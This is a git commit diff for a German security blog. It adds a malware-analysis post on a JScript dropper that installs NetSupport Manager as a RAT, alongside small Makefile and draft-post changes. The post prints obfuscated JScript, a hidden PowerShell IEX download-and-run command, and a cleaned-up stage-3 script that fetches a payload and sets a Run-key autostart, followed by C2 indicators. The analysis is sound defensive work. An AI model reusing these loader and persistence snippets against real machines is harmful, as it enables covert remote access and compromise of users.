added updates to two blog entries
parent
c72159f148
commit
a9350051c4
2
Makefile
2
Makefile
|
@ -13,7 +13,7 @@ nopub: hugo container
|
||||||
podman run --rm -p8080:80 docker.io/jmbitci/www-jmbit-de
|
podman run --rm -p8080:80 docker.io/jmbitci/www-jmbit-de
|
||||||
|
|
||||||
rollout:
|
rollout:
|
||||||
kubectl rollout restart deployment www-jmbit-de -n jmbit-web
|
kubectl --context=jmbit-prod rollout restart deployment www-jmbit-de -n jmbit-web
|
||||||
|
|
||||||
clean:
|
clean:
|
||||||
rm -rf public
|
rm -rf public
|
||||||
|
|
|
@ -5,7 +5,9 @@ author: Johannes Bülow
|
||||||
draft: false
|
draft: false
|
||||||
---
|
---
|
||||||
|
|
||||||
## UPDATE: Mittlerweile ist eine neue Variante im Umlauf, die vmdks unwiederruflich verschlüsselt!
|
| UPDATE |
|
||||||
|
|----------------------------------------------------------------------------------------|
|
||||||
|
|Mittlerweile ist eine neue Variante im Umlauf, die vmdks unwiederruflich verschlüsselt! |
|
||||||
|
|
||||||
ESXiArgs ist eine vermutlich neue Ransomware-Familie, die ESXi-Server angreift und darauf laufende VMs (teilweise)
|
ESXiArgs ist eine vermutlich neue Ransomware-Familie, die ESXi-Server angreift und darauf laufende VMs (teilweise)
|
||||||
verschlüsselt. Der wahrscheinlichste Angriffsvektor ist derzeit
|
verschlüsselt. Der wahrscheinlichste Angriffsvektor ist derzeit
|
||||||
|
|
|
@ -0,0 +1,126 @@
|
||||||
|
---
|
||||||
|
title: "JScript delivered RAT"
|
||||||
|
date: 2023-04-28
|
||||||
|
draft: false
|
||||||
|
---
|
||||||
|
|
||||||
|
# *DISCLAIMER*
|
||||||
|
**Das Herunterladen und ausführen von Malware, auch zum Zwecke der Analyse, ist gefährlich. Ich übernehme
|
||||||
|
keinerlei Haftung für etwaige Schäden bei Nachahmung!**
|
||||||
|
|
||||||
|
| UPDATE |
|
||||||
|
|-------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|
||||||
|
| Neuere Varianten dieser Malware verteilen nicht direkt die jscript-Datei, sondern eine HTML-Datei, die im Javascript erst eine Zip mit dieser JScript-Datei baut! |
|
||||||
|
|
||||||
|
## Einführung
|
||||||
|
In diesem Blogeintrag möchte ich einen kleinen Einblick in die Analyse bzw. das reverse-eingineering von Malware geben.
|
||||||
|
Hier anhand einer Beispielmalware, die über Mehrere Stufen letztendlich "NetSupport Manager" als Remote Access Tool
|
||||||
|
(RAT) installiert.
|
||||||
|
|
||||||
|
Auf den ersten Blick scheint die Datei vergleichsweise harmlos, insbesondere wenn man z.B. in Windows nicht aktiviert
|
||||||
|
hat, dass der Dateiname vollständig (inkl. Endung) angezeigt wird.
|
||||||
|
![Screenshot der Dateivorschau](/img/blog/Screenshot_from_2023-04_28-08-50-24.png)
|
||||||
|
|
||||||
|
Sollte ein Windows-User die Datei zum öffnen Doppelklicken, wird sie, statt wie zu erwarten im konfigurierten PDF-Viewer
|
||||||
|
angezeigt zu werden, vom [Windows Script Host](https://de.wikipedia.org/wiki/Windows_Script_Host) mithilfe dessen
|
||||||
|
JScript-Engine ausgeführt.
|
||||||
|
|
||||||
|
## Stage 1
|
||||||
|
Die initial heruntergeladene Datei ist sehr stark [Obfuscated](https://de.wikipedia.org/wiki/Obfuskation), was das
|
||||||
|
Reverse engineering deutlich erschwert. Ein relativ einfacher Trick ist hier jedoch, die eigentlichen Aufrufe, die die
|
||||||
|
nächste Stage herunterladen wollen, so umzubauen, dass sie statt dem eigentlichen Aufruf jediglich den entsprechenden
|
||||||
|
Code ausgeben:
|
||||||
|
|
||||||
|
```js
|
||||||
|
LRVydqTXzFWJIfh = l(0x46, 'psLt'), PoHdrRpqKNwXVGyEDMO = V0(0x12, 'J7Hu'), CkMPuJXlbEaniIF = new ActiveXObject(LRVydqTXzFWJIfh + '.APPlIcatioN'), FNwMBmgDjPdaInUxO = new ActiveXObject(V1(0x3a, '3NAk'));
|
||||||
|
FNwMBmgDjPdaInUxO[V1(0x39, 'bmzj')](V3(0x85, 'KWPY')) == ![] && CkMPuJXlbEaniIF[V3(0xac, 'ClZu')](PoHdrRpqKNwXVGyEDMO, V5(0xbb, '^B7D') + LRVydqTXzFWJIfh + V0(0x14, 'O7y)') + V3(0x8f, 'EFHx') + V5(0x87, 'xnQ2') + 'kAG8AdwBuAGwAb' + V0(0x4b, '$gV2') + l(0x9d, 't[sl') + '0AH' + V1(0x3, 'T1lY') + 'dAB0AHAAcw' + V1(0x27, 'K!KR') + V3(0x22, '0N#q') + V4(0x9e, '3ZuB') + 'AGgAcwB1AHAAcABsAHkAdQBzAC4AYwBvAG0' + V3(0x48, 's#8T') + 'BsAG8AYwBhAGwAc' + V5(0x2c, 'YL@E'), '', V3(0x71, 'l!tn'), 0x0);
|
||||||
|
```
|
||||||
|
_Hier erstellt die Malware ein ActiveXObjekt mit der nächsten Stufe und führt diese aus._
|
||||||
|
|
||||||
|
```js
|
||||||
|
LRVydqTXzFWJIfh = l(0x46, 'psLt'), PoHdrRpqKNwXVGyEDMO = V0(0x12, 'J7Hu'), CkMPuJXlbEaniIF = new ActiveXObject(LRVydqTXzFWJIfh + '.APPlIcatioN'), FNwMBmgDjPdaInUxO = new ActiveXObject(V1(0x3a, '3NAk'));
|
||||||
|
console.log(FNwMBmgDjPdaInUxO + V1(0x39, 'bmzj') + V3(0x85, 'KWPY')) ;
|
||||||
|
console.log(CkMPuJXlbEaniIF + V3(0xac, 'ClZu') )
|
||||||
|
console.log(PoHdrRpqKNwXVGyEDMO + V5(0xbb, '^B7D') + LRVydqTXzFWJIfh + V0(0x14, 'O7y)') + V3(0x8f, 'EFHx') + V5(0x87, 'xnQ2') + 'kAG8AdwBuAGwAb' + V0(0x4b, '$gV2') + l(0x9d, 't[sl') + '0AH' + V1(0x3, 'T1lY') + 'dAB0AHAAcw' + V1(0x27, 'K!KR') + V3(0x22, '0N#q') + V4(0x9e, '3ZuB') + 'AGgAcwB1AHAAcABsAHkAdQBzAC4AYwBvAG0' + V3(0x48, 's#8T') + 'BsAG8AYwBhAGwAc' + V5(0x2c, 'YL@E'), '', V3(0x71, 'l!tn'), 0x0);
|
||||||
|
```
|
||||||
|
_Der gleiche Teil des Codes, aber entschärft und mit print-Statements. Das "ActiveXObject" ist jetzt eine einfache
|
||||||
|
Klasse mit String dahinter._
|
||||||
|
|
||||||
|
Wenn man diesen Code dann mithilfe von NodeJS ausführt, erhält man den folgenden Output:
|
||||||
|
|
||||||
|
```
|
||||||
|
remnux@remnux:~/Analysis/nitrogen-diet-florida-monkey$ node nitrogen-diet-florida-monkey.js
|
||||||
|
ShElL.APPlIcatioN
|
||||||
|
scriptIng.fIlesysTemobjeCt
|
||||||
|
[object Object]FolderExistsC:\userss
|
||||||
|
[object Object]ShellExecute
|
||||||
|
cmd/C POwerShElL -nop -w hidden -ep bypass -enc <BASE64String> oPen 0
|
||||||
|
```
|
||||||
|
|
||||||
|
der Base64 kodierte String enthält diesen Powershellbefehl, der die nächste Stufe der Malware herunterlädt.
|
||||||
|
```powershell
|
||||||
|
IEX (New-Object Net.Webclient).downloadstring("<STAGE3URL>")
|
||||||
|
```
|
||||||
|
|
||||||
|
## Stage 3
|
||||||
|
|
||||||
|
Stufe 3 der Malware ist ein Powershell-Skript, das auch wieder obfuskiert ist, z.B. durch seltsame Groß/Kleinschreibung,
|
||||||
|
String-Formatierung und großzügig verteilten \`, die in Powershell als Escape verwendet werden (im Gegensatz zu den
|
||||||
|
meisten anderen Sprachen, die \\ verwenden). Zudem wurde der gesamte Code in eine Zeile geschrieben.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
{rn`UM}=&("{2}{0}{1}"-f 'and','om','Get-R') -minimum 5 -maximum 9; ${r`Rn`UM}=&("{3}{2}{0}{1}"-f 'Rand','om','-','Get') -minimum 1024 -maximum 9999; ${CH`Rs}=("{8}{9}{6}{2}{10}{11}{12}{0}{14}{4}{13}{5}{3}{7}{1}" -f 'D','PRSTUVWXYZ','pstuvw','KLM','F','J','mno','NO','abcdefghi','jkl','x','yz','ABC','GHI','E'); ${R`STR}=''; ${r`An}=.("{0}{1}{2}{3}" -f'New-O','bje','c','t') ("{1}{0}{3}{2}"-f 'm.Ra','Syste','m','ndo');
|
||||||
|
```
|
||||||
|
_Ausschnitt aus dem Originalcode_
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
#!/usr/bin/env pwsh
|
||||||
|
|
||||||
|
&('cd') ${ENV:appdata}
|
||||||
|
${link} = "https://<payloadurl>/wp-content/plugins/giveme.php"
|
||||||
|
${rnum} = 5
|
||||||
|
${rrnum} = 1337
|
||||||
|
${chrs} = "abcdefghijklmnopstuvwxyzABCDEFGHIJKLMNOPRSTUVWXYZ"
|
||||||
|
${rstr} = ''
|
||||||
|
${ran} = .(New-Object System.Random)
|
||||||
|
for (${i} = 0
|
||||||
|
${i} -lt ${r`NuM}
|
||||||
|
${I}++) { ${rstr} += ${chrs}[${ran}.next.Invoke(0, ${chrs}."length")] }
|
||||||
|
${rzip} = ${rstr} + ".zip"
|
||||||
|
${path} = ${ENV:`APPDATA} + '\' + ${rzip}
|
||||||
|
${pzip} = ${ENV: APPDATA} + "\ONEN0TEupdate_"
|
||||||
|
write-host (Start-Bitstransfer) -Source ${link} -Destination ${path}
|
||||||
|
&(Expand-Archive -path ${path} -destinationpath ${pzip})
|
||||||
|
${fold} = &(Get-Item) ${pzip} -Force
|
||||||
|
${fold}.Attributes = Hidden
|
||||||
|
&(Remove-Item) -path ${path}
|
||||||
|
&('cd') ${pzip}
|
||||||
|
Write-Output Start client32.exe
|
||||||
|
${fstr} = ${ENV:appdata} + ".\ONEN0TEupdate_1337\client32.exe"
|
||||||
|
${rnm} = ONEN0TEupdate_1337
|
||||||
|
Write-Output New-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -Name ONEN0TEupdate_1337 -Value ${fstr} -PropertyType String
|
||||||
|
|
||||||
|
```
|
||||||
|
_Stage3, aufgeräumt und vereinfacht_
|
||||||
|
|
||||||
|
Stufe 3 ist die Stufe, die letztendlich die eigentliche Payload herunterlädt. sowie einen Autostart-Registrykey
|
||||||
|
erstellt.
|
||||||
|
Bei der Payload handelt es sich um eine vorkonfigurierte Version von NetSupport Manager, die sich mit dem C2-Server
|
||||||
|
verbindet.
|
||||||
|
|
||||||
|
## IOCs
|
||||||
|
|
||||||
|
### C2-Server
|
||||||
|
* blahadfurtik.com:5222 (IP: 89.22.237.94 )
|
||||||
|
|
||||||
|
### Lokal/Filesystem
|
||||||
|
* Ordner mit dem Namen "ONEN0TEupdate\_XXXX" in `C:/Users/<USER>/AppData/Roaming/`
|
||||||
|
* Registry-Key unter `HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` mit dem gleichen Namen wie der Ordner in
|
||||||
|
Appdata und zu client32.exe in diesem zeigend
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
-----------
|
||||||
|
Verwendetes Sample: SHA256:00d87e984f0fcd2e8fb55e4b83d86027dac67fd073958a95cbc98961ab940f4b
|
||||||
|
Quelle: bazaar.abuse.ch
|
|
@ -0,0 +1,17 @@
|
||||||
|
---
|
||||||
|
title: "Netxcloud"
|
||||||
|
date: 2023-05-01T18:06:16+02:00
|
||||||
|
draft: true
|
||||||
|
---
|
||||||
|
|
||||||
|
Nextcloud ist vor allem bekannt dafür, als Alternative zu SAAS-Produkten wie Dropbox, Google Drive,
|
||||||
|
Onedrive und Co. zu dienen. Allerdings gibt es mittlerweile einige Features mehr als nur reines Filesharing. Nextcloud
|
||||||
|
kann mit Nextcloud Hub auch zu einer vollwertigen Collaboraition-Suite verwandelt werden. Hier wird das
|
||||||
|
Filesharing/Management um Chat, Video- und Audiokonferenzen, Email-Client, Kalender, Office, Kontaktverwaltung,
|
||||||
|
Taskmanagement und mehr erweitert
|
||||||
|
werden. Zusätzlich gibt es viele zusätzliche Apps, mit denen Nextcloud erweitert werden kann.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<!-- vim: set wrap linebreak textwidth=120 cc=120 : -->
|
Binary file not shown.
After Width: | Height: | Size: 14 KiB |
Loading…
Reference in New Issue